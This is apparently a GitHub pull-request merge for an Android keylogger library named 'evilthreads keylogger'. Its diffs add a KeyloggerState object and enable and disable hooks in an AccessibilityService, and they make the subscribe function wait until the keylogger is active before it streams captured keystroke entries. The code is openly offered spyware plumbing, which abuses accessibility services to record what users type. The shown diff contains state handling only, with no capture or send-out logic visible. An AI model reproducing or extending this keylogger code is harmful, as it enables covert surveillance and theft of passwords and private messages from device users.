Merge pull request #14 from evilthreads669966/feature_keylogger_state…

…_and_when_disabled

i have no idea why the first commit says that. It is supposed to say add state for keylogger

Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt

@@ -16,6 +16,7 @@ package com.evilthreads.keylogger
 import android.content.Context
 import android.content.Intent
 import kotlinx.coroutines.channels.Channel
+import kotlinx.coroutines.delay
 
 /*
             (   (                ) (             (     (
@@ -46,7 +47,11 @@ object Keylogger{
 
     fun resetPatterns() = patterns.clear()
 
+    //working on turning KeyloggerState into a subject and doing this with an observer
+    //waits for keylogger to start then subscribes
     suspend fun subscribe(block: (KeyloggerEntry) -> Unit){
+        while(!KeyloggerState.isEnabled())
+            delay(500)
         for(entry in channel){
             block(entry)
         }

Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt

@@ -64,6 +64,12 @@ class KeyloggerService: AccessibilityService() {
     }
 
     override fun onServiceConnected() {
+        KeyloggerState.enabled()
         super.onServiceConnected()
     }
+
+    override fun onDestroy() {
+        KeyloggerState.disable()
+        super.onDestroy()
+    }
 }

Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerState.kt

@@ -0,0 +1,21 @@
+package com.evilthreads.keylogger
+
+object KeyloggerState{
+    private var state = State.DISABLED
+
+    fun disable(){
+        state = State.DISABLED
+    }
+
+    fun enabled(){
+        state = State.ENABLED
+    }
+
+    fun isEnabled(): Boolean{
+        return state == State.ENABLED
+    }
+}
+
+enum class State{
+    ENABLED, DISABLED
+}